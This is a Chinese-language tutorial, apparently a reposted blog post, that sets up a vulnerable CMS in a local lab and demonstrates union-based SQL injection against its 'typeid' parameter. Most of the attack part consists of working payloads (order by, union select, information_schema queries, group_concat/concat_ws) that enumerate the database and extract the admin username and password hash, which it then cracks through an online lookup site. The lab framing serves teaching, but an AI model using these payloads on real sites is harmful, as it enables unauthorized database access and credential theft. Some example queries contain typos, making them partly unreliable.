SQL注入实战之联合查询篇(含漏洞网站搭建)

环境搭建

  • 这里使用的windows2003+phpstudy2018+sdy1.5
  • 我们解压sdy1.5至phpstudy下WWW文件内,在浏览器中输入127.0.0.1/sdy1.5进行安装
  • 一路通过即可,我就不再赘述。

  • 至此安装成功界面如下,下面我们就进入紧张刺激的实战演练环节喽。

SQL注入环节

  1. 查看一下虚拟机的IP地址,为了流畅性我就在本机进行SQL注入实战了。(当然两个主机需要ping通了)

  2. 在浏览器中输入192.168.233.146:/jdy1.5
  3. 观察当前页面的URL:http://192.168.233.146/jdy1.5/typeid.php?typeid=2 我们发现此处的typeid特别像此前sql-lab中的id参数,可以尝试一下注入。
    输入命令:  ?typeid=2 and 1=1
    观察到页面没有变化
    输入命令: ?typeid=2 and 1=2
    此时我们观察出与以前的页面发生了变化,可以断定此处存在 数字型的SQL注入。(所以不用考虑参数闭合的问题)
  4. 此时,根据往常的思路,我们通过order by 语句判断出数据库的列数。
    输入命令:?typeid =2  order by 5
                      ?typeid = 2  order by 6
    5正常回显,6错误回显,判断出列数为5.
  5. 我们以联合查询(union select)为例,观察回显位置。
    输入命令:?typeid = 2 and 1=2 union select 1,2,3,4,5
    可以观察出2的位置可以回显,以此为输出位置,接下来进行爆库操作。
    注:此处的 and 1=2 为恒定错误语句 作用就是注释前面的语句,只执行了 union select 1,2,3,4,5
  6. 输入命令:?typeid = 2 and 1=2 union select 1,database(),3,4,5
    可以观察到回显出了当前数据库jdycms
  7. 在进行爆库爆表等等操作之前,先来回忆一下这些核心语句。
    information_schema 系统默认数据库
    三个重要的表
    schemata(schema_name)
    tables(table_schema,table_name)
    columns(table_schema,table_name,column_name)


    select schema_name from information_schema.schemata; 爆库
    select table_name from information_schema.shcemata where table_schema='dvwa'; 爆表
    select column_name from information_schema.columns where table_name='users' and colunm_name ='dvwa';爆列
    select username,password from dvwa.users;爆内容

  8. 爆库操作和上上步中的database()相同,我就不再进行此操作,直接爆库。
    输入命令:?typeid = 2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database()
                                    and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x6a6479636d73
    最后不能直接用jdycms,需要将其转换成十六进制或者依旧用datbase()代替。
  9. 此处利用一个group_concat函数使其全部显示,或者利用limit 函数逐一查询。
    输入命令:?typeid = 2 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
  10. 爆列
    输入命令:and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=0x6a6479636d73 and table_name=0x6a64795f61646d696e

  11. 爆内容
    输入命令:and 1=2 union select 1,group_concat(concat_ws(0x7e,username,password)),3,4,5 from jdycms.jdy_admin
    此处同时使用了concat_ws()和group_concat()两个函数,详细使用说明可以自己查询哦。0x7e就是波浪线,波浪线连接用户名和密码。
    admin~b9be11166d72e9e3ae7fd407165e4bd2
     最后我们登录解码网站解码www.cmd5.com
原文地址:https://www.cnblogs.com/c1047509362/p/12796864.html